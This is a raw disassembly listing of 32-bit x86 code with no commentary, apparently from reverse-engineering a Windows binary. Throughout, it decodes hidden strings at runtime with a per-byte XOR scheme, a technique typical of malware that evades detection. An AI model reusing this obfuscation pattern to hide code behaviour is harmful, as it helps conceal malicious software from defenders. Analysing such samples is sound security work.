lea ecx, [ebp - 0xc6]
mov byte [ebp - 0xb7], 0
movups xmmword [ebp - 0x700], xmm0
mov dword [ebp - 0x6f0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6ec], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b925
sub ecx, edx
lea eax, [ebp - 0xc6]
push ecx
push eax
lea ecx, [ebp - 0x700]
call fcn.00402c40
mov byte [ebp - 4], 0x29
lea edx, [ebp - 0x700]
mov eax, dword [ebp - 0x14]
xorps xmm0, xmm0
or eax, 0x80
mov dword [ebp - 0x874], 0
cmp dword [ebp - 0x6ec], 0x10
mov dword [ebp - 0x14], eax
cmovae edx, dword [ebp - 0x700]
mov ecx, edx
mov dword [ebp - 0x1c], eax
movups xmmword [ebp - 0x884], xmm0
mov dword [ebp - 0x870], 0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b990
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x884]
call fcn.00402c40
mov dword [ebp - 4], 0x2a
lea edi, [ebp - 0x884]
mov eax, dword [ebp - 0x14]
or eax, 0x100
jmp 0x42badb
movaps xmm0, xmmword [0x551b70]
movups xmmword [ebp - 0x867], xmm0
mov dword [ebp - 0x847], 0
xorps xmm0, xmm0
mov word [ebp - 0x843], 0
movups xmmword [ebp - 0x857], xmm0
mov byte [ebp - 0x841], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x867], al
inc ecx
cmp ecx, 0x10
jb 0x42b9f2
mov dword [0x565628], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x867]
mov byte [ebp - 0x857], 0
movups xmmword [ebp - 0x718], xmm0
mov dword [ebp - 0x708], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x704], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ba37
sub ecx, edx
lea eax, [ebp - 0x867]
push ecx
push eax
lea ecx, [ebp - 0x718]
call fcn.00402c40
mov dword [ebp - 4], 0x2b
lea edi, [ebp - 0x718]
mov eax, dword [ebp - 0x14]
or eax, 0x200
cmp dword [ebp - 0x704], 0x10
mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0x718]
mov dword [ebp - 0x1c], eax
mov esi, edi
mov eax, dword [ebp - 0x24]
lea edx, [esi + 1]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x3c]
lea ecx, [eax + ecx*8]
mov dword [ebp - 0x20], ecx
mov al, byte [esi]
inc esi
test al, al
jne 0x42ba90
mov eax, closesocket
sub esi, edx
sub eax, dword [ecx + 0x10]
cmp eax, esi
jb 0x42e1c1
call fcn.00402c10
mov ecx, dword [ebp - 0x20]
push esi
push edi
push dword [ecx + 0x10]
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa74]
call fcn.004946d0
mov dword [ebp - 4], 0x2c
lea edi, [ebp - 0xa74]
mov eax, dword [ebp - 0x14]
or eax, 0x400
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0x640], 0xf3
movups xmmword [ebp - 0x63f], xmm0
mov dword [ebp - 0x62f], 0
mov word [ebp - 0x62b], 0
mov byte [ebp - 0x629], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x640], al
inc ecx
cmp ecx, 1
jb 0x42bb10
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x640]
mov byte [ebp - 0x63f], 0
movups xmmword [ebp - 0x40c], xmm0
mov dword [ebp - 0x3fc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3f8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bb55
sub ecx, edx
lea eax, [ebp - 0x640]
push ecx
push eax
lea ecx, [ebp - 0x40c]
call fcn.00402c40
mov dword [ebp - 4], 0x2d
lea edx, [ebp - 0x40c]
cmp dword [ebp - 0x3f8], 0x10
cmovae edx, dword [ebp - 0x40c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bb91
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x42e1c1
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x7c8]
call fcn.004946d0
sub esp, 0x18
mov byte [ebp - 4], 0x2e
mov ecx, esp
lea eax, [ebp - 0x7c8]
mov dword [ebp - 0x20], ecx
push edi
push eax
push dword [ebp - 0x20]
call fcn.004944e0
call fcn.0040dee0
mov byte [ebp - 4], 0x2d
add esp, 0x18
mov ecx, dword [ebp - 0x7b4]
mov byte [ebp - 0x15], al
cmp ecx, 0x10
jb 0x42bc2f
mov edx, dword [ebp - 0x7c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bc25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x7b8], 0
mov dword [ebp - 0x7b4], 0xf
mov byte [ebp - 0x7c8], 0
cmp ecx, 0x10
jb 0x42bc88
mov edx, dword [ebp - 0x40c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bc7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0x3f8], 0xf
mov byte [ebp - 0x40c], 0
test eax, 0x400
je 0x42bcc6
and eax, 0xfffffbff
lea ecx, [ebp - 0xa74]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x14]
test eax, 0x200
je 0x42bce6
and eax, 0xfffffdff
lea ecx, [ebp - 0x718]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x14]
test eax, 0x100
je 0x42bd06
and eax, 0xfffffeff
lea ecx, [ebp - 0x884]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1b
test al, al
jns 0x42bd27
and eax, 0xffffff7f
lea ecx, [ebp - 0x700]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
cmp byte [ebp - 0x15], 0
je 0x42bddc
xorps xmm0, xmm0
mov dword [ebp - 0x10e], 0xd3d2dfe3
mov dword [ebp - 0x10a], 0xd3c7e4df
xor ecx, ecx
mov dword [ebp - 0x106], 0xd097cbd1
mov word [ebp - 0x102], 0xd3c8
mov byte [ebp - 0x100], 0xd3
movups xmmword [ebp - 0xff], xmm0
mov dword [ebp - 0xef], 0
mov word [ebp - 0xeb], 0
mov byte [ebp - 0xe9], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x10e], al
inc ecx
cmp ecx, 0xf
jb 0x42bd85
lea eax, [ebp - 0x10e]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0xa8c]
mov byte [ebp - 0xff], 0
call fcn.00402b70
lea ecx, [ebp - 0xa8c]
mov byte [ebp - 4], 0x2f
call fcn.00402c10
push eax
lea ecx, [ebx + 0x54]
call fcn.0048cae0
lea ecx, [ebp - 0xa8c]
mov byte [ebp - 4], 0x1b
call fcn.00402ad0
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x42be1e
movups xmmword [ebp - 0x580], xmm0
mov dword [ebp - 0x570], 0
mov dword [ebp - 0x56c], 0xf
mov byte [ebp - 0x580], 0
mov byte [ebp - 4], 0x30
lea edi, [ebp - 0x580]
mov eax, dword [ebp - 0x14]
or eax, 0x800
jmp 0x42bf3b
mov byte [ebp - 0x658], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x657], xmm0
mov dword [ebp - 0x647], 0
mov word [ebp - 0x643], 0
mov byte [ebp - 0x641], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x658], al
inc ecx
cmp ecx, 1
jb 0x42be50
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x658]
mov byte [ebp - 0x657], 0
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4bc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4b8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42be95
sub ecx, edx
lea eax, [ebp - 0x658]
push ecx
push eax
lea ecx, [ebp - 0x4cc]
call fcn.00402c40
mov dword [ebp - 4], 0x31
lea esi, [ebp - 0x4cc]
mov eax, dword [ebp - 0x14]
or eax, 0x1000
cmp dword [ebp - 0x4b8], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x4cc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bef2
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x42e1c1
cmp dword [edx + 0x14], 0x10
jb 0x42bf13
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x810]
call fcn.004946d0
mov dword [ebp - 4], 0x32
lea edi, [ebp - 0x810]
mov eax, dword [ebp - 0x14]
or eax, 0x2000
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0x670], 0xf3
movups xmmword [ebp - 0x66f], xmm0
mov dword [ebp - 0x65f], 0
mov word [ebp - 0x65b], 0
mov byte [ebp - 0x659], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x670], al
inc ecx
cmp ecx, 1
jb 0x42bf70
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x670]
mov byte [ebp - 0x66f], 0
movups xmmword [ebp - 0x3d8], xmm0
mov dword [ebp - 0x3c8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bfb5
sub ecx, edx
lea eax, [ebp - 0x670]
push ecx
push eax
lea ecx, [ebp - 0x3d8]
call fcn.00402c40
mov dword [ebp - 4], 0x33
lea edx, [ebp - 0x3d8]
cmp dword [ebp - 0x3c4], 0x10
cmovae edx, dword [ebp - 0x3d8]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bff1
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x42e1c1
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x7f8]
call fcn.004946d0
push edi
lea eax, [ebp - 0x7f8]
mov byte [ebp - 4], 0x34
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x7e0]
call fcn.004944e0
sub esp, 0x18
mov byte [ebp - 4], 0x35
mov esi, esp
lea eax, [ebx + 0x54]
lea ecx, [ebp - 0x7e0]
mov dword [ebp - 0x20], esi
push eax
call fcn.0048ca40
xorps xmm0, xmm0
lea ecx, [ebp - 0x730]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040d810
add esp, 0x18
mov byte [ebp - 4], 0x37
mov ecx, dword [ebp - 0x7cc]
cmp ecx, 0x10
jb 0x42c0e0
mov edx, dword [ebp - 0x7e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c0d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x7d0], 0
mov dword [ebp - 0x7cc], 0xf
mov byte [ebp - 0x7e0], 0
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x7e4]
cmp ecx, 0x10
jb 0x42c139
mov edx, dword [ebp - 0x7f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c12f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x7e8], 0
mov dword [ebp - 0x7e4], 0xf
mov byte [ebp - 0x7f8], 0
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x3c4]
cmp ecx, 0x10
jb 0x42c192
mov edx, dword [ebp - 0x3d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c188
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c4], 0xf
mov byte [ebp - 0x3d8], 0
mov byte [ebp - 4], 0x3a
mov eax, dword [ebp - 0x14]
test eax, 0x2000
je 0x42c222
mov ecx, dword [ebp - 0x7fc]
and eax, 0xffffdfff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42c207
mov edx, dword [ebp - 0x810]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c1fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x800], 0
mov dword [ebp - 0x7fc], 0xf
mov byte [ebp - 0x810], 0
mov byte [ebp - 4], 0x3b
test eax, 0x1000
je 0x42c294
mov ecx, dword [ebp - 0x4b8]
and eax, 0xffffefff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42c279
mov edx, dword [ebp - 0x4cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c26c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 0xf
mov byte [ebp - 0x4cc], 0
mov byte [ebp - 4], 0x3c
test eax, 0x800
je 0x42c303
mov ecx, dword [ebp - 0x56c]
and eax, 0xfffff7ff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42c2e8
mov edx, dword [ebp - 0x580]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c2de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x570], 0
mov dword [ebp - 0x56c], 0xf
mov byte [ebp - 0x580], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1d4], 0xf
xor eax, eax
movups xmmword [ebp - 0x1e8], xmm0
mov dword [ebp - 0x1d8], eax
mov byte [ebp - 0x1e8], al
mov byte [ebp - 4], 0x3d
cmp dword [ebp - 0x720], eax
je 0x42c783
cmp dword [ebp - 0x3b0], eax
jne 0x42c783
sub esp, 0x28
lea edx, [ebp - 0x730]
mov eax, esp
lea ecx, [ebp - 0x768]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00490ed0
add esp, 0x30
mov byte [ebp - 4], 0x3e
xorps xmm0, xmm0
mov dword [ebp - 0x226], 0xd1eec3c0
xor ecx, ecx
mov dword [ebp - 0x222], 0xc2c5cdc1
movups xmmword [ebp - 0x21e], xmm0
mov dword [ebp - 0x20e], 0
mov word [ebp - 0x20a], 0
mov byte [ebp - 0x208], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x226], al
inc ecx
cmp ecx, 8
jb 0x42c3a3
mov dword [0x565624], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x226]
mov byte [ebp - 0x21e], 0
movups xmmword [ebp - 0x6e8], xmm0
mov dword [ebp - 0x6d8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6d4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c3e8
sub ecx, edx
lea eax, [ebp - 0x226]
push ecx
push eax
lea ecx, [ebp - 0x6e8]
call fcn.00402c40
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x6e8]
mov edi, dword [ebp - 0x14]
lea ecx, [ebp - 0x768]
or edi, 0x4000
cmp dword [ebp - 0x6d4], 0x10
mov dword [ebp - 0x14], edi
cmovae eax, dword [ebp - 0x6e8]
push eax
mov dword [ebp - 0x1c], edi
call fcn.00490ca0
cmp byte [eax], 0
je 0x42c583
xorps xmm0, xmm0
mov dword [ebp - 0x32e], 0xd1eec3c0
mov dword [ebp - 0x32a], 0xc2c5cdc1
xor ecx, ecx
movups xmmword [ebp - 0x326], xmm0
mov dword [ebp - 0x316], 0
mov word [ebp - 0x312], 0
mov byte [ebp - 0x310], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x32e], al
inc ecx
cmp ecx, 8
jb 0x42c480
lea eax, [ebp - 0x32e]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0xabc]
mov byte [ebp - 0x326], 0
call fcn.00402b70
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0xabc]
or edi, 0x8000
mov dword [ebp - 0x1c], edi
call fcn.00402c10
push eax
lea ecx, [ebp - 0x768]
call fcn.00490ca0
xorps xmm0, xmm0
mov dword [ebp - 0x164], 0xc0d2deca
mov esi, eax
mov dword [ebp - 0x160], 0xd3c1c4ca
mov dword [ebp - 0x15c], 0xdfd2e7d3
xor ecx, ecx
mov byte [ebp - 0x158], 0xc2
movups xmmword [ebp - 0x157], xmm0
mov dword [ebp - 0x147], 0
mov word [ebp - 0x143], 0
mov byte [ebp - 0x141], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x164], al
inc ecx
cmp ecx, 0xd
jb 0x42c524
lea eax, [ebp - 0x164]
mov dword [0x56557c], ecx
push eax
lea ecx, [ebp - 0xaa4]
mov byte [ebp - 0x157], 0
call fcn.00402b70
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0xaa4]
or edi, 0x10000
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00490ca0
mov byte [ebp - 0x15], 1
cmp byte [eax], 0
jne 0x42c587
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test eax, 0x10000
je 0x42c5aa
and eax, 0xfffeffff
lea ecx, [ebp - 0xaa4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x14]
test eax, 0x8000
je 0x42c5ca
and eax, 0xffff7fff
lea ecx, [ebp - 0xabc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x3e
test eax, 0x4000
je 0x42c5ee
and eax, 0xffffbfff
lea ecx, [ebp - 0x6e8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402ad0
cmp byte [ebp - 0x15], 0
je 0x42c76e
xorps xmm0, xmm0
mov dword [ebp - 0x2b2], 0xd1eec3c0
mov dword [ebp - 0x2ae], 0xc2c5cdc1
xor ecx, ecx
movups xmmword [ebp - 0x2aa], xmm0
mov dword [ebp - 0x29a], 0
mov word [ebp - 0x296], 0
mov byte [ebp - 0x294], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2b2], al
inc ecx
cmp ecx, 8
jb 0x42c632
lea eax, [ebp - 0x2b2]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x96c]
mov byte [ebp - 0x2aa], 0
call fcn.00402b70
lea ecx, [ebp - 0x96c]
mov byte [ebp - 4], 0x42
call fcn.00402c10
push eax
lea ecx, [ebp - 0x768]
call fcn.00490ca0
xorps xmm0, xmm0
mov dword [ebp - 0x1d0], 0xc0d2deca
mov esi, eax
mov dword [ebp - 0x1cc], 0xd3c1c4ca
mov dword [ebp - 0x1c8], 0xdfd2e7d3
xor ecx, ecx
mov byte [ebp - 0x1c4], 0xc2
movups xmmword [ebp - 0x1c3], xmm0
mov dword [ebp - 0x1b3], 0
mov word [ebp - 0x1af], 0
mov byte [ebp - 0x1ad], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1d0], al
inc ecx
cmp ecx, 0xd
jb 0x42c6d0
lea eax, [ebp - 0x1d0]
mov dword [0x56557c], ecx
push eax
lea ecx, [ebp - 0x93c]
mov byte [ebp - 0x1c3], 0
call fcn.00402b70
lea ecx, [ebp - 0x93c]
mov byte [ebp - 4], 0x43
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00490ca0
lea ecx, [ebp - 0xb4c]
push ecx
mov ecx, eax
call fcn.00490de0
mov edx, eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xad4]
call fcn.004029b0
push eax
lea ecx, [ebp - 0x1e8]
call fcn.0048cb40
lea ecx, [ebp - 0xad4]
call fcn.00402ad0
lea ecx, [ebp - 0xb4c]
call fcn.00402ad0
lea ecx, [ebp - 0x93c]
call fcn.00402ad0
lea ecx, [ebp - 0x96c]
call fcn.00402ad0
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x3d
call fcn.0048a7b0
mov eax, dword [ebp - 0x1d8]
test eax, eax
jne 0x42c7b5
cmp dword [ebp - 0x3ac], 0x10
lea eax, [ebp - 0x3c0]
push dword [ebp - 0x3b0]
cmovae eax, dword [ebp - 0x3c0]
lea ecx, [ebp - 0x1e8]
push eax
call fcn.0048c8a0
mov eax, dword [ebp - 0x1d8]
test eax, eax
setne byte [ebp - 0x29]
xorps xmm0, xmm0
cmp byte [ebx + 8], 0
je 0x42c7fb
movups xmmword [ebp - 0x688], xmm0
mov dword [ebp - 0x678], 0
mov dword [ebp - 0x674], 0xf
mov byte [ebp - 0x688], 0
mov byte [ebp - 4], 0x45
lea edi, [ebp - 0x688]
mov eax, dword [ebp - 0x14]
or eax, 0x20000
jmp 0x42c919
mov byte [ebp - 0x598], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x597], xmm0
mov dword [ebp - 0x587], 0
mov word [ebp - 0x583], 0
mov byte [ebp - 0x581], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x598], al
inc ecx
cmp ecx, 1
jb 0x42c825
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x598]
mov byte [ebp - 0x597], 0
movups xmmword [ebp - 0x484], xmm0
mov dword [ebp - 0x474], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x470], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c870
sub ecx, edx
lea eax, [ebp - 0x598]
push ecx
push eax
lea ecx, [ebp - 0x484]
call fcn.00402c40
mov dword [ebp - 4], 0x46
lea esi, [ebp - 0x484]
mov eax, dword [ebp - 0x14]
or eax, 0x40000
cmp dword [ebp - 0x470], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x484]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c8d0
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x42e1c1
cmp dword [edx + 0x14], 0x10
jb 0x42c8f1
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x840]
call fcn.004946d0
mov dword [ebp - 4], 0x47
lea edi, [ebp - 0x840]
mov eax, dword [ebp - 0x14]
or eax, 0x80000
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0x5b0], 0xf3
movups xmmword [ebp - 0x5af], xmm0
mov dword [ebp - 0x59f], 0
mov word [ebp - 0x59b], 0
mov byte [ebp - 0x599], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x5b0], al
inc ecx
cmp ecx, 1
jb 0x42c950
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x5b0]
mov byte [ebp - 0x5af], 0
movups xmmword [ebp - 0x454], xmm0
mov dword [ebp - 0x444], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x440], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c995
sub ecx, edx
lea eax, [ebp - 0x5b0]
push ecx
push eax
lea ecx, [ebp - 0x454]
call fcn.00402c40
mov dword [ebp - 4], 0x48
lea esi, [ebp - 0x454]
cmp dword [ebp - 0x440], 0x10
cmovae esi, dword [ebp - 0x454]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c9d1
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x50]
sub eax, edx
cmp eax, ecx
jb 0x42e1c1
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x828]
call fcn.004946d0
push edi
lea eax, [ebp - 0x828]
mov byte [ebp - 4], 0x49
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x240]
call fcn.004944e0
mov eax, dword [ebp - 0x14]
or eax, 0x80000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebx + 0x3c]
cmp dword [ebx + 0x50], 0x10
mov esi, dword [ebp - 0x22c]
mov eax, esi
cmovae ecx, dword [ebx + 0x3c]
mov edi, dword [ebx + 0x4c]
mov edx, dword [ebp - 0x230]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x42ca8b
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x230], eax
lea eax, [ebp - 0x240]
cmovae eax, dword [ebp - 0x240]
lea esi, [eax + edx]
push esi
call fcn.00506990
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x240]
jmp 0x42ca9e
mov byte [ebp - 0x44], 0
lea ecx, [ebp - 0x240]
push dword [ebp - 0x44]
push edi
call fcn.00492b30
mov dword [ebp - 0x248], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x258], xmm0
mov dword [ebp - 0x244], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x258], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x248], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
or eax, 0x40000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0x10
jb 0x42cb30
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cb26
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x814]
cmp ecx, 0x10
jb 0x42cb89
mov edx, dword [ebp - 0x828]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cb7f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x818], 0
mov dword [ebp - 0x814], 0xf
mov byte [ebp - 0x828], 0
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x440]
cmp ecx, 0x10
jb 0x42cbe2
mov edx, dword [ebp - 0x454]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cbd8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
